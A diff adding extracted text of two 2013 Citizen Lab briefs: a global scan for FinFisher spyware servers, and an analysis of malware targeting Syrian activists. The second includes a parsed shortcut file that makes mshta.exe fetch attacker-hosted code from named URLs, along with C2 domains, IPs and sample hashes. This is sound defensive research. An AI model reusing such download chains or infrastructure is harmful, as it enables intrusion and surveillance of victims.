diff --git "a/2013.clean.txt" "b/2013.clean.txt" new file mode 100644--- /dev/null +++ "b/2013.clean.txt" @@ -0,0 +1,58279 @@ +Research Brief +Number 15 + March 2013 +The Citizen Lab +You Only Click Twice: +FinFisher +s Global Proliferation +Morgan Marquis-Boire, Bill Marczak, Claudio Guarnieri, and John Scott-Railton. +This post describes the results of a comprehensive global Internet scan for the command and control servers +of FinFisher +s surveillance software. It also details the discovery of a campaign using FinFisher in Ethiopia +used to target individuals linked to an opposition group. Additionally, it provides examination of a FinSpy +Mobile sample found in the wild, which appears to have been used in Vietnam. +1. SUMMARY OF KEY FINDINGS +We have found command and control servers for FinSpy backdoors, part of Gamma International +FinFisher +remote monitoring solution, + in a total of 25 countries: Australia, Bahrain, Bangladesh, +Brunei, Canada, Czech Republic, Estonia, Ethiopia, Germany, India, Indonesia, Japan, Latvia, +Malaysia, Mexico, Mongolia, Netherlands, Qatar, Serbia, Singapore, Turkmenistan, United Arab +Emirates, United Kingdom, United States, Vietnam. +A FinSpy campaign in Ethiopia uses pictures of Ginbot 7, an Ethiopian opposition group, as bait to +infect users. This continues the theme of FinSpy deployments with strong indications of politicallymotivated targeting. +There is strong evidence of a Vietnamese FinSpy Mobile Campaign. We found an Android FinSpy +Mobile sample in the wild with a command & control server in Vietnam that also exfiltrates text +messages to a local phone number. +These findings call into question claims by Gamma International that previously reported servers were +not part of their product line, and that previously discovered copies of their software were either stolen +or demo copies. +Number 15 + March 2013 +2. BACKGROUND AND INTRODUCTION +FinFisher is a line of remote intrusion and surveillance software developed by Munich-based Gamma +International GmbH. FinFisher products are marketed and sold exclusively to law enforcement and +intelligence agencies by the UK-based Gamma Group.1 Although touted as a +lawful interception + suite for +monitoring criminals, FinFisher has gained notoriety because it has been used in targeted attacks against +human rights campaigners and opposition activists in countries with questionable human rights records.2 +In late July 2012, we published the results of an investigation into a suspicious e-mail campaign targeting +Bahraini activists.3 We analyzed the attachments and discovered that they contained the FinSpy spyware, +FinFisher +s remote monitoring product. FinSpy captures information from an infected computer, such as +passwords and Skype calls, and sends the information to a FinSpy command & control (C2) server. The +attachments we analyzed sent data to a command & control server inside Bahrain. +This discovery motivated researchers to search for other command & control servers to understand how +widely FinFisher might be used. Claudio Guarnieri at Rapid7 (one of the authors of this report) was the first to +search for these servers. He fingerprinted the Bahrain server and looked at historical Internet scanning data to +identify other servers around the world that responded to the same fingerprint. Rapid7 published this list of +servers, and described their fingerprinting technique. Other groups, including CrowdStrike and SpiderLabs +also analyzed and published reports on FinSpy. +Immediately after publication, the servers were apparently updated to evade detection by the Rapid7 +fingerprint. We devised a different fingerprinting technique and scanned portions of the internet. We +confirmed Rapid7 +s results, and also found several new servers, including one inside Turkmenistan +s Ministry +of Communications. We published our list of servers in late August 2012, in addition to an analysis of mobile +phone versions of FinSpy. FinSpy servers were apparently updated again in October 2012 to disable this +newer fingerprinting technique, although it was never publicly described. +Nevertheless, via analysis of existing samples and observation of command & control servers, we managed to +enumerate yet more fingerprinting methods and continue our survey of the internet for this surveillance +software. We describe the results in this post. +Civil society groups have found cause for concern in these findings, as they indicate the use of FinFisher +products by countries like Turkmenistan and Bahrain with problematic records on human rights, transparency, +and rule of law. In an August 2012 response to a letter from UK-based NGO Privacy International, the UK +Government revealed that at some unspecified time in the past, it had examined a version of FinSpy, and +communicated to Gamma that a license would be required to export that version outside of the EU. Gamma +has repeatedly denied links to spyware and servers uncovered by our research, claiming that the servers +detected by our scans are +not + from the FinFisher product line. +4 Gamma also claims that the spyware sent +to activists in Bahrain was an + demonstration version of FinSpy, stolen during a product presentation. +In February 2013, Privacy International, the European Centre for Constitutional and Human Rights (ECCHR), +the Bahrain Center for Human Rights, Bahrain Watch, and Reporters Without Borders filed a complaint with +the Organization for Economic Cooperation and Development (OECD), requesting that this body investigate +whether Gamma violated OECD Guidelines for Multinational Enterprises by exporting FinSpy to Bahrain. +Number 15 + March 2013 +The complaint called previous Gamma statements into question, noting that at least two different versions +(4.00 and 4.01) of FinSpy were found in Bahrain, and that Bahrain +s server was a FinFisher product and was +likely receiving updates from Gamma. This complaint, as laid out by Privacy International states that Gamma: +failed to respect the internationally recognised human rights of those affected by [its] activities +caused and contributed to adverse human rights impacts in the course of [its] business activities +failed to prevent and mitigate adverse human rights impacts linked to [its] activities and products, and +failed to address such impacts where they have occurred +failed to carry out adequate due diligence (including human rights due diligence); and +failed to implement a policy commitment to respect human rights. +According to recent reporting, German Federal Police appear to have plans to purchase and use the FinFisher +suite of tools domestically within Germany.5 Meanwhile, findings by our group and others continue to +illustrate the global proliferation of FinFisher +s products. Research continues to uncover troubling cases of +FinSpy in countries with dismal human rights track records, and politically repressive regimes. Most recently, +work by Bahrain Watch has confirmed the presence of a Bahraini FinFisher campaign, and further +contradicted Gamma +s public statements. This post adds to the list by providing an updated list of FinSpy +Command & Control servers, and describing the FinSpy malware samples in the wild which appear to have +been used to target victims in Ethiopia and Vietnam. +We present these updated findings in the hopes that we will further encourage civil society groups and +competent investigative bodies to continue their scrutiny of Gamma +s activities, relevant export control issues, +and the issue of the global and unregulated proliferation of surveillance malware. +Number 15 + March 2013 +FINFISHER: UPDATED GLOBAL SCAN +Figure 1. Map of global FinFisher proliferation +Around October 2012, we observed that the behavior of FinSpy servers began to change. Servers stopped +responding to our fingerprint, which had exploited a quirk in the distinctive FinSpy wire protocol. We believe +that this indicates that Gamma either independently changed the FinSpy protocol, or was able to determine +key elements of our fingerprint, although it has never been publicly revealed. +In the wake of this apparent update to FinSpy command & control servers, we devised a new fingerprint and +conducted a scan of the internet for FinSpy command & control servers. This scan took roughly two months +and involved sending more than 12 billion packets. Our new scan identified a total of 36 FinSpy servers, 30 of +which were new and 6 of which we had found during previous scanning. The servers operated in 19 different +countries. Among the FinSpy servers we found, 7 were in countries we hadn +t seen before. +New Countries +Canada, Bangladesh, India, Malaysia, Mexico, Serbia, Vietnam +Number 15 + March 2013 +In our most recent scan, 16 servers that we had previously found did not show up. We suspect that after +our earlier scans were published the operators moved them. Many of these servers were shut down or +relocated after the publication of previous results, but before the apparent October 2012 update. We no +longer found FinSpy servers in 4 countries where previous scanning identified them (Brunei, UAE, +Latvia, and Mongolia). Taken together, FinSpy servers are currently, or have been present, in 25 +countries. +Australia, Bahrain, Bangladesh, Brunei, Canada, Czech Republic, Estonia, Ethiopia, Germany, India, +Indonesia, Japan, Latvia, Malaysia, Mexico, Mongolia, Netherlands, Qatar, Serbia, Singapore, Turkmenistan, +United Arab Emirates, United Kingdom, United States, Vietnam. +Importantly, we believe that our list of servers is incomplete due to the large diversity of ports used by FinSpy +servers, as well as other efforts at concealment. Moreover, discovery of a FinSpy command and control server +in a given country is not a sufficient indicator to conclude the use of FinFisher by that country +s law +enforcement or intelligence agencies. In some cases, servers were found running on facilities provided by +commercial hosting providers that could have been purchased by actors from any country. +The table below shows the FinSpy servers detected in our latest scan. We list the full IP address of servers that +have been previously publicly revealed. For active servers that have not been publicly revealed, we list the +first two octets only. Releasing complete IP addresses in the past has not proved useful, as the servers are +quickly shut down and relocated. +Operator +Routed to Country +117.121.xxx.xxx +GPLHost +Australia +77.69.181.162 +Batelco ADSL Service +Bahrain +180.211.xxx.xxx +Telegraph & Telephone Board +Bangladesh +168.144.xxx.xxx +Softcom, Inc. +Canada +168.144.xxx.xxx +Softcom, Inc. +Canada +217.16.xxx.xxx +PIPNI VPS +Czech Republic +217.146.xxx.xxx +Zone Media UVS/Nodes +Estonia +213.55.99.74 +Ethio Telecom +Estonia +80.156.xxx.xxx +Gamma International GmbH +Germany +37.200.xxx.xxx +JiffyBox Servers +Germany +Number 15 + March 2013 +178.77.xxx.xxx +HostEurope GmbH +Germany +119.18.xxx.xxx +HostGator +India +119.18.xxx.xxx +HostGator +India +118.97.xxx.xxx +PT Telkom +Indonesia +118.97.xxx.xxx +PT Telkom +Indonesia +103.28.xxx.xxx +PT Matrixnet Global +Indonesia +112.78.143.34 +Biznet ISP +Indonesia +112.78.143.26 +Biznet ISP +Indonesia +117.121.xxx.xxx +GPLHost +Malaysia +187.188.xxx.xxx +Iusacell PCS +Mexico +201.122.xxx.xxx +UniNet +Mexico +164.138.xxx.xxx +Tilaa +Netherlands +164.138.28.2 +Tilaa +Netherlands +78.100.57.165 +Qtel + Government Relations +Qatar +195.178.xxx.xxx +Tri.d.o.o / Telekom Srbija +Serbia +117.121.xxx.xxx +GPLHost +Singapore +217.174.229.82 +Ministry of Communications +Turkmenistan +72.22.xxx.xxx +iPower, Inc. +United States +166.143.xxx.xxx +Verizon Wireless +United States +117.121.xxx.xxx +GPLHost +United States +117.121.xxx.xxx +GPLHost +United States +117.121.xxx.xxx +GPLHost +United States +117.121.xxx.xxx +GPLHost +United States +183.91.xxx.xxx +CMC Telecom Infrastructure +Company +Vietnam +Number 15 + March 2013 +Several of these findings are especially noteworthy: +Eight servers are hosted by provider GPLHost in various countries (Singapore, Malaysia, Australia, +US). However, we observed only six of these servers active at any given time, suggesting that some IP +addresses may have changed during our scans. +A server identified in Germany has the registrant +Gamma International GmbH, + and the contact +person is listed as +Martin Muench. +There is a FinSpy server in an IP range registered to +Verizon Wireless. + Verizon Wireless sells ranges +of IP addresses to corporate customers, so this is not necessarily an indication that Verizon Wireless +itself is operating the server, or that Verizon Wireless customers are being spied on. +A server in Qatar that was previously detected by Rapid7 seems to be back online after being +unresponsive during the last round of our scanning. The server is located in a range of 16 addresses +registered to +Qtel + Corporate accounts + Government Relations. + The same block of 16 addresses +also contains the website http://qhotels.gov.qa/. +3. ETHIOPIA AND VIETNAM: IN-DEPTH DISCUSSION OF NEW SAMPLES +3.1 FinSpy in Ethiopia +We analyzed a recently acquired malware sample and identified it as FinSpy. The malware uses +images of members of the Ethiopian opposition group, Ginbot 7, as bait. The malware communicates +with a FinSpy Command & Control server in Ethiopia, which was first identified by Rapid7 in August +2012. The server has been detected in every round of scanning, and remains operational at the time of +this writing. It can be found in the following address block run by Ethio Telecom, Ethiopia +s stateowned telecommunications provider: +IP: 213.55.99.74 +route: 213.55.99.0/24 +descr: Ethio Telecom +origin: AS24757 +mnt-by: ETC-MNT +member-of: rs-ethiotelecom +source: RIPE # Filtered +Number 15 + March 2013 +The server appears to be updated in a manner consistent with other servers, including servers in +Bahrain and Turkmenistan. +8ae2febe04102450fdbc26a38037c82b +SHA-1 +1fd0a268086f8d13c6a3262d41cce13470886b09 +SHA-256 +ff6f0bcdb02a9a1c10da14a0844ed6ec6a68c13c04b4c122afc559d606762fa +The sample is similar to a previously analyzed sample of FinSpy malware sent to activists in Bahrain in 2012. +Just like Bahraini samples, the malware relocates itself and drops a JPG image with the same filename as the +sample when executed by an unsuspecting user. This appears to be an attempt to trick the victim into believing +the opened file is not malicious. Here are a few key similarities between the samples: +The PE timestamp +2011-07-05 08:25:31 + of the packer is exactly the same as the Bahraini sample. +The following string (found in a process infected with the malware), self-identifies the malware and is +similar to strings found in the Bahraini samples: +The samples share the same Bootkit, SHA-256: +ba21e452ee5ff3478f21b293a134b30ebf6b7f4ec03f8c8153202a740d7978b2. +The samples share the same driverw.sys file, SHA-256: +62bde3bac3782d36f9f2e56db097a4672e70463e11971fad5de060b191efb196. +Number 15 + March 2013 +Figure 2. The image shown to the victim contains pictures of members of the Ginbot 7 Ethiopian +opposition group +In this case the picture contains photos of members of the Ethiopian opposition group, Ginbot 7. +Controversially, Ginbot 7 was designated a terrorist group by the Ethiopian Government in 2011. The +Committee to Protect Journalists (CPJ) and Human Rights Watch have both criticized this action, CPJ has +pointed out that it is having a chilling effect on legitimate political reporting about the group and its +leadership. +The existence of a FinSpy sample that contains Ethiopia-specific imagery, and that communicates with a stillactive command & control server in Ethiopia strongly suggests that the Ethiopian Government is using +FinSpy. +Number 15 + March 2013 +3.2 FinSpy Mobile in Vietnam +We recently obtained and analyzed a malware sample6 and identified it as FinSpy Mobile for Android. +The sample communicates with a command & control server in Vietnam, and exfiltrates text messages +to a Vietnamese telephone number. +The FinFisher suite includes mobile phone versions of FinSpy for all major platforms including iOS, +Android, Windows Mobile, Symbian and Blackberry. Its features are broadly similar to the PC version +of FinSpy identified in Bahrain, but it also contains mobile-specific features such as GPS tracking and +functionality for silent + calls to snoop on conversations near the phone. An in-depth analysis of +the FinSpy Mobile suite of backdoors was provided in an earlier blog post: The Smartphone Who +Loved Me: FinFisher Goes Mobile? +573ef0b7ff1dab2c3f785ee46c51a54f +SHA-1 +d58d4f6ad3235610bafba677b762f3872b0f67cb +SHA-256 +363172a2f2b228c7b00b614178e4ffa00a3a124200ceef4e6d7edb25a4696345 +The sample included a configuration file7 that indicates available functionality, and the options that +have been enabled by those deploying it: +Figure 3. Image of a section of a configuration file for the FinSpy Mobile sample +Number 15 + March 2013 +Interestingly, the configuration file also specifies a Vietnamese phone number used for SMS based +command and control: +Section Type: TlvTypeConfigSMSPhoneNumber +Section Data: ++841257725403 +The command and control server is in a range provided by the CMC Telecom Infrastructure Company +in Hanoi: +IP Address: 183.91.2.199 +inetnum: 183.91.0.0 + 183.91.9.255 +netname: FTTX-NET +country: Vietnam +address: CMC Telecom Infrastructure Company +address: Tang 3, 16 Lieu Giai str, Ba Dinh, Ha Noi +This server was active until very recently and matched our signatures for a FinSpy command and +control server. Both the command & control server IP and the phone number used for text-message +exfiltration are in Vietnam which indicates a domestic campaign. +This apparent FinSpy deployment in Vietnam is troubling in the context of recent threats against online +free expression and activism. In 2012, Vietnam introduced new censorship laws amidst an ongoing +harassment, intimidation, and detention campaign against of bloggers who spoke out against the +regime. This culminated in the trial of 17 bloggers, 14 of whom were recently convicted and sentenced +to terms ranging from 3 to 13 years.8 +4. BRIEF DISCUSSION OF FINDINGS +Companies selling surveillance and intrusion software commonly claim that their tools are only used to track +criminals and terrorists. FinFisher, VUPEN and Hacking Team have all used similar language.9 Yet a growing +body of evidence suggests that these tools are regularly obtained by countries where dissenting political +activity and speech is criminalized. Our findings highlight the increasing dissonance between Gamma +s public +claims that FinSpy is used exclusively to track +bad guys + and the growing body of evidence suggesting that +the tool has and continues to be used against opposition groups and human rights activists. +While our work highlights the human rights ramifications of the mis-use of this technology, it is clear that +there are broader concerns. A global and unregulated market for offensive digital tools potentially presents a +Number 15 + March 2013 +novel risk to both national and corporate cyber-security. On March 12th, US Director of National Intelligence +James Clapper stated in his yearly congressional report on security threats: +companies develop and sell professional-quality technologies to support cyberoperations +often branding +these tools as lawful-intercept or defensive security research products. Foreign governments already use some +of these tools to target U.S. systems. +The unchecked global proliferation of products like FinFisher makes a strong case for policy debate about +surveillance software and the commercialization of offensive cyber-capabilities. +Our latest findings give an updated look at the global proliferation of FinSpy. We identified 36 active FinSpy +command & control servers, including 30 previously-unknown servers. Our list of servers is likely incomplete, +as some FinSpy servers employ countermeasures to prevent detection. Including servers discovered last year, +we now count FinSpy servers in 25 countries, including countries with troubling human rights records. This is +indicative of a global trend towards the acquisition of offensive cyber-capabilities by non-democratic regimes +from commercial Western companies. +The Vietnamese and Ethiopian FinSpy samples we identified warrant further investigation, especially given +the poor human rights records of these countries. The fact that the Ethiopian version of FinSpy uses images of +opposition members as bait suggests it may be used for politically influenced surveillance activities, rather +than strictly law enforcement purposes. +The Ethiopian sample is the second FinSpy sample we have discovered that communicates with a server we +identified by scanning as a FinSpy command & control server. This further validates our scanning results, and +calls into question Gamma +s claim that such servers are +not + from the FinFisher product line. +Similarities between the Ethiopian sample and those used to target Bahraini activists also bring into question +Gamma International +s earlier claims that the Bahrain samples were stolen demonstration copies. +While the sale of such intrusion and surveillance software is largely unregulated, the issue has drawn +increased high-level scrutiny. In September of last year, the German foreign minister, Guido Westerwelle, +called for an EU-wide ban on the export of such surveillance software to totalitarian states.11 In a December +2012 interview, Marietje Schaake (MEP), currently the rapporteur for the first EU strategy on digital freedom +in foreign policy, stated that it was +quite shocking + that Europe companies continue to export repressive +technologies to countries where the rule of law is in question.12 +We urge civil society groups and journalists to follow up on our findings within affected countries. We also +hope that our findings will provide valuable information to the ongoing technology and policy debate about +surveillance software and the commercialisation of offensive cyber-capabilities. +Number 15 + March 2013 +ACKNOWLEDGEMENTS +d like to thank Eva Galperin and the Electronic Frontier Foundation (EFF), Privacy International, Bahrain +Watch, and Drew Hintz. +MEDIA COVERAGE +Media coverage of the report includes HuffingtonPost Canada, Salon, The Verge, Bloomberg Business Week, +TheYoungTurks. +__________________________________ +FOOTNOTES +https://www.gammagroup.com/ +Software Meant to Fight Crime Is Used to Spy on Dissidents, http://goo.gl/GDRMe, New York Times, +August 31, 2012, Page A1 Print edition. +Cyber Attacks on Activists Traced to FinFisher Spyware of Gamma, http://goo.gl/nJH7o, Bloomberg, July +25, 2012 +http://bits.blogs.nytimes.com/2012/08/16/company-denies-role-in-recently-uncovered-spyware/ +http://www.sueddeutsche.de/digital/finfisher-entwickler-gamma-spam-vom-staat-1.1595253 +This sample has also been discussed by Denis Maslennikov from Kasperksy in his analyses of FinSpy Mobile + https://www.securelist.com/en/analysis/204792283/Mobile_Malware_Evolution_Part_6 +Configuration parsed with a tool written by Josh Grunzweig of Spider Labs +http://blog.spiderlabs.com/2012/09/finspy-mobile-configuration-and-insight.html +https://www.eff.org/deeplinks/2013/01/bloggers-trial-vietnam-are-part-ongoing-crackdown-free-expression +https://www.securityweek.com/podcast-vupen-ceo-chaouki-bekrar-addresses-zero-day-marketplacecontroversy-cansecwest +http://bits.blogs.nytimes.com/2012/08/16/company-denies-role-in-recently-uncovered-spyware/ +http://www.guardian.co.uk/uk/2012/nov/28/offshore-company-directors-military-intelligence +http://www.vieuws.eu/foreign-affairs/digital-freedoms-marietje-schaake-mep-alde/ +Research Brief +Number 19 + June 2013 +The Citizen Lab +A Call to Harm: +New Malware Attacks Target the Syrian Opposition +Authors: John Scott-Railton and Morgan Marquis-Boire +SUMMARY OF KEY FINDINGS +Malware masquerading as the circumvention tool Freegate. +A campaign masquerading as a call to arms by a pro-opposition cleric. +INTRODUCTION +Syria +s opposition has faced persistent targeting by Pro-Government Electronic Actors (PGEAs) throughout +the Syrian civil war. A pro-government group calling itself the Syrian Electronic Army has gained visibility in +recent months with high profile attacks against news organizations. Meanwhile, Syrian activists continue to be +targeted with online attacks apparently for the purposes of accessing their private communications and stealing +their secrets. +Throughout 2012, attacks against the Syrian opposition were documented in an extensive series of blog posts +by Morgan Marquis-Boire and Eva Galperin with the help of the Electronic Frontier Foundation.1 Many others +have also contributed to research on Syrian malware, from Telecomix to a range of security companies. +Meanwhile, the Syrian opposition, and several groups working closely with it, such as Cyber Arabs, have been +active in attempting to identify potential threats and warn users. +Researchers have identified a common theme among the attacks against the Syrian opposition: sophisticated +social engineering that is grounded in an awareness of the needs, interests, and weaknesses of the opposition. +Attacks often play on curiosity or ideology to encourage users to enter passwords or click on enticing files, or +exploit fears of hacking and surveillance with fake security tools. Attacks are often transmitted to potential +victims from the accounts of people with whom they are familiar. +Number 18 + June 2013 +The two attacks that are described in this blogpost follow this theme. One is a malicious installer of the +circumvention tool Freegate. The other is an e-mail attachment calling for jihad against Hezbollah and the +Assad regime or promising interesting regional news. +ATTACK 1: A HELPING OF MALWARE WITH THAT PROXY? +In this attack, which we first observed in the second week of June, the potential victim is encouraged to visit a +download link containing a malicious installer of Freegate. +Freegate is a standalone circumvention-bypassing Virtual Private Network (VPN) client for Windows. +Legitimate versions of the Freegate software are available for download on its website. While initially +developed for mainland Chinese users, the software is used in a number of other countries. +While Freegate was erroneously labelled a Trojan by one anti-virus company nearly a decade ago, in this +attack, attackers packaged what appears to be a legitimate version of Freegate with a malicious implant.2 The +targeted group were members of the Syrian opposition in a private social media group. +http://www.mediafire.com/download/[REDACTED]/VPN-Pro.zip +When a potential victim visits the link, they are offered the download of a file which MediaFire lists as +uploaded on June 15, 2013. +VPN-PRO.zip3 +Uploaded: 2013-06-15 16:54:31 +The zip file extracts to a MS Windows executable file. +VPN-Pro.exe4 +Number 18 + June 2013 +The binary was compiled at 2013-06-15 22:41:31 UTC and has the following properties: +LegalCopyright: Copyright + 2013 +Assembly Version: 1.0.0.0 +InternalName: VPN-Pro.exe +FileVersion: 1.0.0.0 +ProductName: VPN-Pro +ProductVersion: 1.0.0.0 +FileDescription: VPN-Pro +OriginalFilename: VPN-Pro.exe +Similar to previously observed malware attacks targeting the Syrian opposition, this was written in .NET and +appears to require the .NET 3.5 framework to execute.5 +When VPN-Pro.exe is run, the victim is shown the Freegate end-user license agreement (EULA) dialogue +box.6 Upon agreeing to the EULA, an operational copy of Freegate proxy is launched, which includes a +request to unblock the firewall. The copy of Freegate launched is listed as +Freegate 7.35 Professional +Edition. + The Freegate software begins operating, and quickly prompts the user for an update. +Number 18 + June 2013 +Infection +In addition to running a legitimate copy of Freegate 7.35,7 the malware installs an implant. +Number 18 + June 2013 +A fake +svchost.exe + is installed in the victim +s Application Data directory. +C:\Documents and Settings\\Application Data\svchost.exe +Dropped files on execution of VPN-Pro.exe: +Number 18 + June 2013 +Examination of the +svchost.exe + binary shows multiple references to +ShadowTech Rat. +0000d5f0 00 53 68 61 64 6f 77 54 65 63 68 20 52 61 74 2e |.ShadowTech Rat.| +0000d600 65 78 65 00 53 68 61 64 6f 77 54 65 63 68 20 52 |exe.ShadowTech R| +0000d610 61 74 00 3c 4d 6f 64 75 6c 65 3e 00 01 00 03 00 |at......| + +0000d6d0 04 00 56 61 6c 75 65 54 79 70 65 00 05 00 44 61 |..ValueType...|Da| +0000d6e0 74 61 00 53 68 61 64 6f 77 54 65 63 68 5f 52 61 |ta.ShadowTech_Ra| +0000d6f0 74 00 49 53 65 72 69 61 6c 69 7a 61 62 6c 65 00 |t.ISerializable.| +0000d700 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 53 |System.Runtime.S| +0000d710 65 72 69 61 6c 69 7a 61 74 69 6f 6e 00 4d 79 53 |erialization.MyS| +0000d720 65 74 74 69 6e 67 73 00 53 68 61 64 6f 77 54 65 |ettings.ShadowTe| +0000d730 63 68 5f 52 61 74 2e 4d 79 00 41 70 70 6c 69 63 |ch_Rat.My.Applic| +Examination of network traffic also identifies the implant as ShadowTech RAT. +Packet capture on port 1321/tcp: +00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 +00 0c 02 00 00 00 45 53 68 61 64 6f 77 54 65 63 +68 20 52 61 74 2c 20 56 65 72 73 69 6f 6e 3d 31 +2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d +6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b +65 79 54 6f 6b 65 6e 3d 6e 75 6c 6c 05 01 00 00 +00 13 53 68 61 64 6f 77 54 65 63 68 5f 52 61 74 +2e 44 61 74 61 03 00 00 00 04 64 61 74 61 05 69 +6d 61 67 65 05 62 79 74 65 73 01 02 02 02 00 00 +00 06 03 00 00 00 64 31 30 32 36 32 32 30 32 31 +46 32 30 30 33 32 34 30 33 30 30 33 36 32 44 36 +34 33 38 30 42 34 33 35 37 31 30 31 36 33 31 33 +44 33 39 30 30 32 45 32 31 30 36 30 38 30 43 30 +46 32 35 33 38 30 37 30 38 30 35 37 41 37 35 33 +33 30 44 37 37 32 36 33 35 33 31 36 39 33 45 34 +34 37 45 31 35 35 38 37 38 35 43 0a 0a 0b +................ +......EShadowTec +h Rat, Version=1 +.0.0.0, Culture= +neutral, PublicK +eyToken=null.... +..ShadowTech_Rat +.Data.....data.i +mage.bytes...... +......d102622021 +F2003240300362D6 +4380B43571016313 +D39002E2106080C0 +F25380708057A753 +30D77263531693E4 +47E1558785C... +ShadowTech Rat is a Remote Access Trojan which appears to be widely available for download on both +English and Arabic language sites. Videos can be found on YouTube demonstrating its functionality. The tool +offers a range of options to the attacker, from keylogging and remote activation of the webcam to file +exfiltration. +Number 18 + June 2013 +ShadowTech RAT control console: +File +Date +Countries of Submission +svchost.exe +2013-06-15 23:08:19 UTC +Saudi Arabia +Number 18 + June 2013 +VPN-Pro.exe +2013-06-15 22:45:33 UTC +Turkey, Saudi Arabia, Morocco +Both VPN-Pro.exe and svhost.exe have been submitted to VirusTotal: +Both have relatively low detection rates by anti-virus software. As of June 20, 2013, svchost.exe was only +detected by four out of 47 tested anti-virus programs, while VPN-Pro.exe was only detected by five out of 46. +The svchost.exe initiates an outbound connection to a command and control (C2) server hosted at +thejoe.publicvm.com. This domain resolves to an address inside Syrian IP space: 31.9.48.119. +inetnum: +netname: +31.9.0.0 - 31.9.127.255 +SY-ISP-TARASSUL +Number 18 + June 2013 +descr: +country: +Tarassul inetnet Service Provider +This is not the first time that malicious installer packages have been created for circumvention tools. In 2012, +malicious installers for Green Simurgh +a standalone proxy intended for Iranian users but also used by some +Syrians +were found in circulation. The creators of Green Simurgh responded by posting a prominent +warning on their website highlighting the presence of these malicious installers. Last year, malware which +purported to be the Tor Browser Bundle was found in the wild. It was found to be backdoored by Gh0st RAT +and exfiltrated data to an IP in China. +An attack using a malicious installer of a working and reputable security or proxy tool is especially pernicious +as it targets users who likely recognize the importance of privacy and circumvention, and may believe that +they have increased their privacy and security by installing the tool. +ATTACK 2: A TARGETED CALL TO ARMS +In this campaign, contact with targets was initiated through phishing e-mails, chat messages and Facebook +posts. Although we became aware of this campaign in early June, we have evidence that it may have started as +early as January 2013. We believe that this campaign targeted +at least in part +high-profile members of the +Syrian opposition. Interestingly, the attack included targeting of at least one non-public address associated +with internal opposition communications. This indicates some degree of prior penetration of the opposition +either through computer network intrusion or other intelligence gathering activities. +The potential victim in this attack first receives a message from an unknown source, in this case, a Gmail +account with a nondescript name. +Example e-mail: +Number 18 + June 2013 +The e-mail contains text, an image (not shown), and an attachment. The text refers to a video of Sheikh Adnan +al-Arour +a Sunni pro-opposition cleric +based in Saudi Arabia, calling for holy war against Assad and +Hezbollah. The user is led to believe that opening the zip file, which is descriptively titled as being the +Sheikh +s opinion, will provide access to the video. +While we have identified multiple different attacks with different zip files, the structure of all of these is +consistent with the example described here. +Example zip files: +.zip9 +.zip +.zip +.zip +The zip file extracts to a Windows Shortcut file with the same name and a .lnk extension. +Example .lnk file +Sample A +.lnk +Number 18 + June 2013 +Parsing these files reveals a URL embedded in the the file (bolded below). +Parsing +Sample A +source path/filename: 1file modified: 06/16/2013 16:49:04 [UTC] +file accessed: 06/19/2013 22:00:22 [UTC] +file created: 06/19/2013 22:00:22 [UTC] +Target flags: HasLinkTargetIDList, HasLinkInfo, HasRelativePath, Has +WorkingDir, HasArguments, HasIconLocation, IsUnicode, DisableLinkPathTracking +Target attributes: FILE_ATTRIBUTE_ARCHIVE +Target modified: 07/17/2012 22:58:51.981 [UTC] +Target accessed: 07/17/2012 22:58:51.981 [UTC] +Target created: 07/17/2012 22:58:51.981 [UTC] +Target ObjID time: 12/27/2012 10:55:02.540 [UTC] +File offset: 0x00000000 [0] +Parsed size: 0x000005b2 [1458 bytes] +Target file size: 0x00003000 [12288 bytes] +Show cmd: [SW_SHOWNORMAL] +ID List: {CLSID_MyComputer}\C:\Windows\System32\mshta.exe +Volume Type: fixed +Volume serial num: 7203-8b23 +Volume label: +Local base path: C:\Windows\System32\mshta.exe +Relative path: ..\..\..\Windows\System32\mshta.exe +Working directory: C:\Windows\system32 +Cmdline args: http://[REDACTED]?url=http://www.youtube.com/watch?v=jDkluDCn7fA +Icon filename: %SystemRoot%\system32\SHELL32.dll +Special Folder ID: CSIDL_SYSTEM +Known Folder ID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 +NETBIOS name: xp-pc +Volume ID: 32035a92-7032-4de3-846f-ed880ad23fa7 +Object ID: dd81bda8-5013-11e2-ab13-c0f8da734a02 +MAC address: c0:f8:da:73:4a:02 +format ID [value]: {b725f130-47ef-101a-a5f1-02608c9eebac} +[mshta.exe\ +format ID [value]: {46588ae2-4cbc-4338-bbfc-139326986dce} [S-1-5-21-13484416121947693625-1007466904-1000] +format ID [value]: {dabd30ed-0043-4789-a7f8-d013a4736622} [System32 +C:\Windows +format ID [value]: {28636aa6-953d-11d2-b5d6-00c04fd918d0} +[C:\Windows\System32\mshta.exe] +When the victim executes the Windows shortcut, they are directed to one of several malicious links depending +on the zipfile that they were sent. These are visible in the link parsing. +Number 18 + June 2013 +Links embedded in the Windows shortcut: +Link Sample A (active) +http://[REDACTED]om/g.php?url=http://www.youtube.com/watch?v=jDkluDCn7fA +Link Sample B (defunct) +http://google-panel.html5.me/g.php?url=http://www.youtube.com/watch?v=Uw3Ny2A1WvQ +Link Sample C (defunct) +http://forgoogle.allalla.com/u.php?url=http://www.alkalimaonline.com/news.php?id=118868 +The victim is then shown either a YouTube video featuring Sheikh Adnan al-Arour, or a story on +http://www.alkalimaonline.com, a Lebanese news site. +Example of YouTube video shown to victim: +Number 18 + June 2013 +The Malware +While the victim sees the decoy YouTube video or news website, a php file (g.php) that contains a hexencoded malicious binary is fetched. +Excerpt from G.php:10 +Please wait .. + +